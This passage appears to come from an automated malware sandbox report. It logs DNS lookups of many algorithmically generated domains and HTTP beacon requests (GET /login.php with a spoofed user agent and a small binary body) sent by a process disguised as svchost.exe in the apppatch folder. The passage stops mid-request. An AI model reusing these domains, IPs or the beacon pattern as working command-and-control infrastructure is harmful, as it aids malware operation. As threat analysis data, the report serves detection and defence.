                                                                                                                                                                                                          Aug 23, 2024 18:43:46.166565895 CEST1.1.1.1192.168.2.50x734bName error (3)qebyrev.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:46.190798044 CEST1.1.1.1192.168.2.50x78c7No error (0)pupycag.com18.208.156.248A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:46.260128975 CEST1.1.1.1192.168.2.50xfed8No error (0)lyrysor.comzz1985.qu200.comCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:46.260128975 CEST1.1.1.1192.168.2.50xfed8No error (0)zz1985.qu200.comgtm-sg-6l13ukk0m05.qu200.comCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:46.260128975 CEST1.1.1.1192.168.2.50xfed8No error (0)gtm-sg-6l13ukk0m05.qu200.com103.150.11.230A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.568134069 CEST1.1.1.1192.168.2.50xe935Name error (3)qedysov.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.569046021 CEST1.1.1.1192.168.2.50x58c8Name error (3)pumylel.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.578954935 CEST1.1.1.1192.168.2.50x8842Name error (3)qekynuq.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.579415083 CEST1.1.1.1192.168.2.50x1955Name error (3)pupypiv.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.579832077 CEST1.1.1.1192.168.2.50xde69Name error (3)ganykaz.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.580758095 CEST1.1.1.1192.168.2.50xbd4bName error (3)lykynyj.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.581311941 CEST1.1.1.1192.168.2.50x7e89Name error (3)qebykap.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.582227945 CEST1.1.1.1192.168.2.50x3d49Name error (3)gatypub.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.583033085 CEST1.1.1.1192.168.2.50x2d57Name error (3)pujybyq.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.583045006 CEST1.1.1.1192.168.2.50xfdc0Name error (3)vopypif.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.583794117 CEST1.1.1.1192.168.2.50x696aName error (3)lyvyjox.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.584434986 CEST1.1.1.1192.168.2.50x3d18Name error (3)qetytug.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.585057974 CEST1.1.1.1192.168.2.50x940bName error (3)vojybek.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.585885048 CEST1.1.1.1192.168.2.50x52e2Name error (3)puvyjop.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.591285944 CEST1.1.1.1192.168.2.50x493Name error (3)lyrytun.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.591299057 CEST1.1.1.1192.168.2.50x1398Name error (3)purytyg.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.591309071 CEST1.1.1.1192.168.2.50x67f8Name error (3)vowyrym.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.591397047 CEST1.1.1.1192.168.2.50x48d4Name error (3)pufycol.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.598965883 CEST1.1.1.1192.168.2.50x344eName error (3)lysysod.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.600219011 CEST1.1.1.1192.168.2.50x90c6Name error (3)vonyket.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.601634026 CEST1.1.1.1192.168.2.50xdd3fName error (3)gaqyreh.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.601722002 CEST1.1.1.1192.168.2.50xd3a5Name error (3)qeqyreq.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.602355003 CEST1.1.1.1192.168.2.50x86e6Name error (3)qedyxip.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.602390051 CEST1.1.1.1192.168.2.50xdf2fName error (3)puzyguv.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.603051901 CEST1.1.1.1192.168.2.50xef1fName error (3)lymywaj.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.603106976 CEST1.1.1.1192.168.2.50xf1beName error (3)pumywaq.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.603122950 CEST1.1.1.1192.168.2.50x7e78Name error (3)lysyxux.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.603194952 CEST1.1.1.1192.168.2.50x6653Name error (3)vonyqok.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.603863955 CEST1.1.1.1192.168.2.50xef16Name error (3)galyfyb.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.604943037 CEST1.1.1.1192.168.2.50x6700Name error (3)ganyqow.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.604953051 CEST1.1.1.1192.168.2.50xe523Name error (3)pujydag.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.604964018 CEST1.1.1.1192.168.2.50x4e8Name error (3)pupyxup.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.605243921 CEST1.1.1.1192.168.2.50x7f7bName error (3)lyvymir.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.606221914 CEST1.1.1.1192.168.2.50xfabName error (3)gahydoh.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.606698036 CEST1.1.1.1192.168.2.50x7805Name error (3)gahyvew.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.607666969 CEST1.1.1.1192.168.2.50x9ce0Name error (3)vojydam.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.607728958 CEST1.1.1.1192.168.2.50xf90fName error (3)puvymul.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.613178968 CEST1.1.1.1192.168.2.50x3024Name error (3)lygyvar.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.615474939 CEST1.1.1.1192.168.2.50x36e2Name error (3)vocymut.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.616291046 CEST1.1.1.1192.168.2.50x2024No error (0)galynuh.com64.225.91.73A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.620898008 CEST1.1.1.1192.168.2.50xbc0aName error (3)qegysoq.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.622922897 CEST1.1.1.1192.168.2.50x91ffName error (3)volygyf.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.623965025 CEST1.1.1.1192.168.2.50x534aName error (3)lyxygud.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.624867916 CEST1.1.1.1192.168.2.50xd82eName error (3)purylev.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.625479937 CEST1.1.1.1192.168.2.50x1adcName error (3)qebyqil.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.625972986 CEST1.1.1.1192.168.2.50x558aName error (3)gatyzys.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.626234055 CEST1.1.1.1192.168.2.50xeb7Name error (3)lykyfen.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.628232002 CEST1.1.1.1192.168.2.50x774eName error (3)lyryled.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.629730940 CEST1.1.1.1192.168.2.50xc5c1Name error (3)vopyzuc.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.633356094 CEST1.1.1.1192.168.2.50x868cName error (3)gacynuz.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.637434959 CEST1.1.1.1192.168.2.50x7ebbName error (3)vowykaf.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.645438910 CEST1.1.1.1192.168.2.50x8861Name error (3)qexynyp.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.645797014 CEST1.1.1.1192.168.2.50x600dName error (3)pufypiq.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.654153109 CEST1.1.1.1192.168.2.50x7f91Name error (3)lygysij.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.733388901 CEST1.1.1.1192.168.2.50xeb85Name error (3)gacyhis.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.734286070 CEST1.1.1.1192.168.2.50xfee3Name error (3)vocyjic.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.756159067 CEST1.1.1.1192.168.2.50x21Name error (3)qekyfeg.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.770829916 CEST1.1.1.1192.168.2.50x6752Name error (3)gaqykab.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.778783083 CEST1.1.1.1192.168.2.50x5c53Name error (3)qetylyv.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.782661915 CEST1.1.1.1192.168.2.50x8307No error (0)gadyciz.com44.221.84.105A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.901906013 CEST1.1.1.1192.168.2.50xb10fNo error (0)vofycot.com103.224.182.252A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:04.921993017 CEST1.1.1.1192.168.2.50x473fNo error (0)qegyval.com154.85.183.50A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:05.008608103 CEST1.1.1.1192.168.2.50xd44No error (0)galynuh.com64.225.91.73A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:05.063622952 CEST1.1.1.1192.168.2.50x3039No error (0)qexyhuv.com15.197.240.20A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:05.078316927 CEST1.1.1.1192.168.2.50xc845No error (0)lyxynyx.com103.224.212.210A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:05.081211090 CEST1.1.1.1192.168.2.50x5c47No error (0)qegyval.com154.85.183.50A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:05.181545973 CEST1.1.1.1192.168.2.50x94baNo error (0)gadyciz.com44.221.84.105A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:05.361274004 CEST1.1.1.1192.168.2.50x6e10No error (0)vofycot.com103.224.182.252A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:05.482532978 CEST1.1.1.1192.168.2.50x939bNo error (0)qexyhuv.com15.197.240.20A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:05.499916077 CEST1.1.1.1192.168.2.50x1c15No error (0)lyxynyx.com103.224.212.210A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:05.500314951 CEST1.1.1.1192.168.2.50x1c15No error (0)lyxynyx.com103.224.212.210A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:06.355490923 CEST1.1.1.1192.168.2.50x9b4dNo error (0)ww16.vofycot.comwww.sedoparking.comCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:06.355490923 CEST1.1.1.1192.168.2.50x9b4dNo error (0)www.sedoparking.com64.190.63.136A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:06.355537891 CEST1.1.1.1192.168.2.50x9b4dNo error (0)ww16.vofycot.comwww.sedoparking.comCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:06.355537891 CEST1.1.1.1192.168.2.50x9b4dNo error (0)www.sedoparking.com64.190.63.136A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:06.501450062 CEST1.1.1.1192.168.2.50xb024No error (0)ww25.lyxynyx.com77026.bodis.comCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:06.501450062 CEST1.1.1.1192.168.2.50xb024No error (0)77026.bodis.com199.59.243.226A (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:06.501507044 CEST1.1.1.1192.168.2.50xb024No error (0)ww25.lyxynyx.com77026.bodis.comCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:44:06.501507044 CEST1.1.1.1192.168.2.50xb024No error (0)77026.bodis.com199.59.243.226A (IP address)IN (0x0001)false

                                                                                                                                                                                                          HTTP Request Dependency Graph

                                                                                                                                                                                                          • www.google.comuser-agent:
                                                                                                                                                                                                            • qegyhig.com
                                                                                                                                                                                                            • lysyvan.com
                                                                                                                                                                                                            • gahyqah.com
                                                                                                                                                                                                            • puzylyp.com
                                                                                                                                                                                                            • vocyzit.com
                                                                                                                                                                                                            • qetyfuv.com
                                                                                                                                                                                                            • lymyxid.com
                                                                                                                                                                                                            • vonypom.com
                                                                                                                                                                                                            • galyqaz.com
                                                                                                                                                                                                            • lyvyxor.com
                                                                                                                                                                                                            • lysyfyj.com
                                                                                                                                                                                                            • vojyqem.com
                                                                                                                                                                                                            • www.gahyqah.com
                                                                                                                                                                                                            • gadyniw.com
                                                                                                                                                                                                            • ww1.lysyfyj.com
                                                                                                                                                                                                            • gatyfus.com
                                                                                                                                                                                                            • pupydeq.com
                                                                                                                                                                                                            • pupycag.com
                                                                                                                                                                                                            • lyrysor.com
                                                                                                                                                                                                            • 106.15.137.66:8001
                                                                                                                                                                                                            • galynuh.com
                                                                                                                                                                                                            • gadyciz.com
                                                                                                                                                                                                            • lyxynyx.com
                                                                                                                                                                                                            • qexyhuv.com
                                                                                                                                                                                                            • qegyval.com
                                                                                                                                                                                                            • vofycot.com
                                                                                                                                                                                                            • ww25.lyxynyx.com
                                                                                                                                                                                                            • ww16.vofycot.com
                                                                                                                                                                                                            • qetyhyg.com
                                                                                                                                                                                                            • gatyhub.com
                                                                                                                                                                                                            • lygyvuj.com
                                                                                                                                                                                                            • gahyhiz.com
                                                                                                                                                                                                            • ww6.galyqaz.com

                                                                                                                                                                                                          HTTP Packets

                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          0192.168.2.549707188.114.96.3805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.040391922 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qegyhig.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.792238951 CEST791INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:42:13 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Location: https://qegyhig.com/login.php
                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YdjCG3R05d2hj8jTy%2FLhnXPi7DVqKjKWH%2FYm1nrOLQ75biJODf587jhMB%2B5Jt0JTDMd9XjO8nG86PYmoZagG3JueAUMjAY5AXX4cIiSKSwbSVLXOBbUyhi6NhWR6aw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8b7c8df3db9918ae-EWR
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.793088913 CEST791INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:42:13 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Location: https://qegyhig.com/login.php
                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YdjCG3R05d2hj8jTy%2FLhnXPi7DVqKjKWH%2FYm1nrOLQ75biJODf587jhMB%2B5Jt0JTDMd9XjO8nG86PYmoZagG3JueAUMjAY5AXX4cIiSKSwbSVLXOBbUyhi6NhWR6aw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8b7c8df3db9918ae-EWR
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
                                                                                                                                                                                                          Aug 23, 2024 18:42:16.168451071 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qegyhig.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:42:16.708097935 CEST805INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:42:16 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Location: https://qegyhig.com/login.php
                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p8OwEht%2FCdq3%2BSFKQ9%2FElIOg7oprS%2F%2BOm6pWv5nHbA14NR6I9sJfU7G%2Fm8sDrwkuBM8LGQ4LtUJt%2BY3JssfalLB5WiBdv%2B9xC%2B%2BKFLS653HJslDI6sMriNeTcBDZ5A%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8b7c8e0b5ee518ae-EWR
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          1192.168.2.549708162.255.119.102805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.058268070 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gahyqah.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.784838915 CEST303INHTTP/1.1 302 Found
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:42:12 GMT
                                                                                                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                          Content-Length: 55
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Location: http://www.gahyqah.com/login.php
                                                                                                                                                                                                          X-Served-By: Namecheap URL Forward
                                                                                                                                                                                                          Server: namecheap-nginx
                                                                                                                                                                                                          Data Raw: 3c 61 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 67 61 68 79 71 61 68 2e 63 6f 6d 2f 6c 6f 67 69 6e 2e 70 68 70 27 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a
                                                                                                                                                                                                          Data Ascii: <a href='http://www.gahyqah.com/login.php'>Found</a>.


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          2192.168.2.5497093.64.163.50805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.185635090 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: puzylyp.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.841449976 CEST689INHTTP/1.1 410 Gone
                                                                                                                                                                                                          Server: openresty
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:42:12 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 542
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 31 30 20 47 6f 6e 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 31 30 20 47 6f 6e 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>410 Gone</title></head><body><center><h1>410 Gone</h1></center><hr><center>openresty</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.844866991 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
